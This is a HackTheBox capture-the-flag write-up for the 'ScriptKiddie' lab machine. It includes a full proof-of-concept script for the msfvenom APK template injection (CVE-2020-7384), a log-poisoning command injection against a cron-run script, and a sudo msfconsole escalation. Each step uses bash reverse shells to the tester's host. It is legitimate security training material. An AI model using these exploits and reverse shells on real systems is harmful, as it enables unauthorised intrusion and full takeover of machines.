HackTheBox - ScriptKiddie

HackTheBox - ScriptKiddie

ScriptKiddie is all about exploiting exploitation tools. It starts by exploiting CVE-2020-7384, which allows me to gain a foothold by crafting a malicious APK that executes a reverse shell when used as APK template in msfvenom. There is a script which automatically runs a nmap scan against a host from a log file. This script can be exploited by poisoning the log with a reverse shell. For the last part, a sudo privilege on msfconsole can be leveraged to gain root access.

Skills Learned

  • Exploiting Metasploit CVE-2020-7384
  • Log poisoning
  • Sudo exploitation on msfconsole

Tools

Reconnaissance

Nmap

Full port scan with nmap discovers two open ports: SSH on port 22, and UPnP on port 5000

→ root@kali «scriptkiddie» «10.10.14.31» 
$ nmap -p- --min-rate 1000 --reason -oA nmap/10-tcp-allport 10.10.10.226 
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-13 20:42 EDT
Nmap scan report for 10.10.10.226
Host is up, received echo-reply ttl 63 (0.065s latency).
Not shown: 65533 closed ports
Reason: 65533 resets
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
5000/tcp open  upnp    syn-ack ttl 63

Nmap done: 1 IP address (1 host up) scanned in 45.79 seconds

With default script scan, nmap identifies that port 5000 is actually a web application hosted using Python.

→ root@kali «scriptkiddie» «10.10.14.31» 
$ nmap -p22,5000 -sC -sV -oA nmap/10-tcp-allport-script 10.10.10.226
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-13 20:44 EDT
Nmap scan report for 10.10.10.226
Host is up (0.056s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.66 second

Enumeration

TCP 5000 - Website

The site provides several online hacking tools.

image-20210614081410024

The nmap tool can be used to scan against itself.

image-20210614081542603

The IP field doesn’t accept others inputs except IPv4, so I don’t thing it can be abused, but I’ll note the nmap version.

The next tool is msfvenom, it can be used to generate a reverse shell binary. It has three options on the OS: Windows, Linux and Android. There is also a template option, for example, you can embed your payload to Windows’s calc.exe.

image-20210614082411239

Somehow, it can only generate payload for Windows and Android.

image-20210614082153746

The payload is available for 5 mins at http://10.10.10.226:5000/static/payloads/[here].

The last tool is searchsploit, I tried to stack the commands but it returned this message.

image-20210614083303308

Finding Tools Vulnerabilities

I can’t get the tools version except for nmap, so I searched some exploits around before the box release date (February 2021) on Exploit-DB and here is what I found.

image-20210614084800963

And that is probably what I need.

I typed “msfvenom” on the site too, and the exploit also appeared there.

image-20210614085320477

Foothold

Shell as kid

Mfvenom CVE-2020-7384

I’ll use this exploit, but I’ll change the payload and the template location to my current working directory.

The exploit requires a Java binary called jarsigner, if you don’t have it, read this.

#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b32encode

# Change me
payload = 'bash -c "bash -i >& /dev/tcp/10.10.14.31/9000 0>&1"'

# b32encode to avoid badchars (keytool is picky)
# thanks to @fdellwing for noticing that base64 can sometimes break keytool
# <https://github.com/justinsteven/advisories/issues/2>
payload_b32 = b32encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b32} | base32 -d | sh #"

print(f"[+] Manufacturing evil apkfile")
print(f"Payload: {payload}")
print(f"-dname: {dname}")
print()

tmpdir = "./"
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"
open(empty_file, "w").close()
subprocess.check_call(["zip", "-j", apk_file, empty_file])

subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])
print()
print(f"[+] Done! apkfile is at {apk_file}")
print(f"Do: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")

It produces a file called evil.apk and it also shows the exploit commands.

→ root@kali «exploits» «10.10.14.31»
$ python3 exploit_msfvenom.py
[+] Manufacturing evil apkfile
Payload: bash -c "bash -i >& /dev/tcp/10.10.14.31/9000 0>&1"
-dname: CN='|echo MJQXG2BAFVRSAITCMFZWQIBNNEQD4JRAF5SGK5RPORRXALZRGAXDCMBOGE2C4MZRF44TAMBQEAYD4JRREI====== | base32 -d | sh #

  adding: empty (stored 0%)
jar signed.

Warning:
The signer's certificate is self-signed.

[+] Done! apkfile is at ./evil.apk
Do: msfvenom -x ./evil.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null

Reverse shell - kid

I’ll setup a nc listener on port 9000, then I’ll upload the evil.apk file as the template file and then I’ll click on the generate button.

image-20210614103158432

On my listener, I’ve a shell now as user kid.

 root@kali «exploits» «10.10.14.31» 
$ nc -nvlp 9000
listening on [any] 9000 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.226] 34230
bash: cannot set terminal process group (897): Inappropriate ioctl for device
bash: no job control in this shell
kid@scriptkiddie:~/html$    

image-20210614102941088

Shell upgrade

I’ll upgrade my shell first.

kid@scriptkiddie:~/html$ export TERM=xterm
export TERM=xterm
kid@scriptkiddie:~/html$ which python
which python
kid@scriptkiddie:~/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
kid@scriptkiddie:~/html$ ^Z
[1]  + 10652 suspended  nc -nvlp 9000
→ root@kali «exploits» «10.10.14.31» 
$ stty raw -echo; fg
[1]  + 10652 continued  nc -nvlp 9000

kid@scriptkiddie:~/html$ 

User flag is done here.

kid@scriptkiddie:~/html$ cd ~
kid@scriptkiddie:~$ ls -la
total 60
...<SNIP>...
-rw-r--r--  1 kid  kid   807 Feb 25  2020 .profile
drwx------  2 kid  kid  4096 Feb 10 16:11 .ssh
-rw-r--r--  1 kid  kid     0 Jan  5 11:10 .sudo_as_admin_successful
drwxrwxr-x  5 kid  kid  4096 Feb  3 11:03 html
drwxrwxrwx  2 kid  kid  4096 Feb  3 07:40 logs
drwxr-xr-x  3 kid  kid  4096 Feb  3 11:48 snap
-r--------  1 kid  kid    33 Jun 12 11:35 user.txt

Privilege Escalation

Shell as pwn

Internal Enumeration

On kid’s home, there’s a folder called logs. The logs folder contains one file called hackers, but the content is empty.

kid@scriptkiddie:~/logs$ ls -la
total 8
drwxrwxrwx  2 kid kid 4096 Feb  3 07:40 .
drwxr-xr-x 11 kid kid 4096 Feb  3 11:49 ..
-rw-rw-r--  1 kid pwn    0 Jun 14 01:40 hackers

I did a quick check on the available users who have shells. It looks like I need to escalate to pwn.

kid@scriptkiddie:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
kid:x:1000:1000:kid:/home/kid:/bin/bash
pwn:x:1001:1001::/home/pwn:/bin/bash

Searching files owned by user pwn discovers one script called scanlosers.sh.

kid@scriptkiddie:~$ find / -type f -user pwn 2>/dev/null
/home/pwn/.bash_logout
/home/pwn/.selected_editor
/home/pwn/.bashrc
/home/pwn/.profile
/home/pwn/scanlosers.sh

The script is writable by me.

kid@scriptkiddie:~$ ls -l /home/pwn/scanlosers.sh
-rwxrwxr-- 1 pwn pwn 250 Jan 28 17:57 /home/pwn/scanlosers.sh

Script analysis

The script is most likely linked with kid’s hack tools website and probably can be abused by stacking commands, but I need to find how the log in hackers file is formatted.

kid@scriptkiddie:~$ cat /home/pwn/scanlosers.sh
#!/bin/bash

## Define log
log=/home/kid/logs/hackers 

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
## The log is cleared immediately
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi

Looking at the source code of the hosted web, it turns out that the log record consists of date and IP address. The logging happens when someone trying to insert a malicious input to the kid’s hack tools.

...<SNIP>...
def searchsploit(text, srcip):
    if regex_alphanum.match(text):
        result = subprocess.check_output(['searchsploit', '--color', text])
        return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore'))
    else:
        with open('/home/kid/logs/hackers', 'a') as f:
            f.write(f'[{datetime.datetime.now()}] {srcip}\n')
        return render_template('index.html', sserror="stop hacking me - well hack you back")
...<SNIP>...

For example, I can trigger an event that logs my IP in the hackers log file by inserting -v apache.

image-20210614114025066

Or I could generate the same log format in one line:

→ root@kali «exploits» «10.10.14.31»
$ python3 -c "from datetime import datetime; print(f'[{datetime.now()}] 127.0.0.1')"
[2021-06-14 00:43:54.924946] 127.0.0.1

I could guess that the scanlosers.sh is intended as a ‘counter attack’. From here, I know that scanlosers.sh will be executed automatically.

To exploit the script, I have to trick this line from scanlosers.sh

echo $log | cut -d' ' -f3- | sort -u

What that line does is it extracts the IP address from the log.

→ root@kali «exploits» «10.10.14.31»
$ log='[2021-06-14 00:28:09.560444] 127.0.0.1'
→ root@kali «exploits» «10.10.14.31»
$ echo $log | cut -d' ' -f3- | sort -u
127.0.0.1

From here, I’ll just add a semi-colon and a space before putting my reverse shell.

[2021-06-14 00:28:09.560444] 127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.30/9000 0>&1';

It becomes a stacked command.

→ root@kali «exploits» «10.10.14.31»
$ echo "[2021-06-14 00:28:09.560444] 127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.30/9000 0>&1';" | cut -d' ' -f3- | sort -u
127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.30/9000 0>&1';

If I map that format to this line:

sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null"

It turns into this:

sh -c "nmap --top-ports 10 -oN recon/127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.30/9000 0>&1';.nmap 127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.30/9000 0>&1'; 2>&1 >/dev/null"

Exploitation

Since the logs is cleared automatically, I’ll use while loop to keep inserting my malicious log to the hackers file and I’ll wait on my listener.

kid@scriptkiddie:~/logs$ while sleep 0.1; do echo "[2021-06-14 00:28:09.560444] 127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.31/9001 0>&1';" > hackers; done

On my listener:

→ root@kali «scriptkiddie» «10.10.14.31» 
$ nc -nvlp 9001             
listening on [any] 9001 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.226] 33110
bash: cannot set terminal process group (868): Inappropriate ioctl for device
bash: no job control in this shell
pwn@scriptkiddie:~$ id
id
uid=1001(pwn) gid=1001(pwn) groups=1001(pwn)

image-20210614115903137

Shell as root

Sudo - msfconsole

User pwn is allowed to run msfconsole as root.

pwn@scriptkiddie:~$ sudo -l
sudo -l
Matching Defaults entries for pwn on scriptkiddie:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pwn may run the following commands on scriptkiddie:
    (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole

To exploit this I can just send a reverse shell using -x options and then I’ll wait on my nc listener.

pwn@scriptkiddie:~$ sudo msfconsole -q -x 'bash -c "bash -i >& /dev/tcp/10.10.14.31/9005 0>&1"'

And I’m rooted.

→ root@kali «scriptkiddie» «10.10.14.31» 
$ rlwrap nc -nvlp 9005
listening on [any] 9005 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.226] 43512
bash: cannot set terminal process group (868): Inappropriate ioctl for device
bash: no job control in this shell
root@scriptkiddie:/home/pwn# id
id
uid=0(root) gid=0(root) groups=0(root)
root@scriptkiddie:/home/pwn# cut -c-15 /root/root.txt
cut -c-15 /root/root.txt
bf7edd4c58e4420

image-20210614121311990

References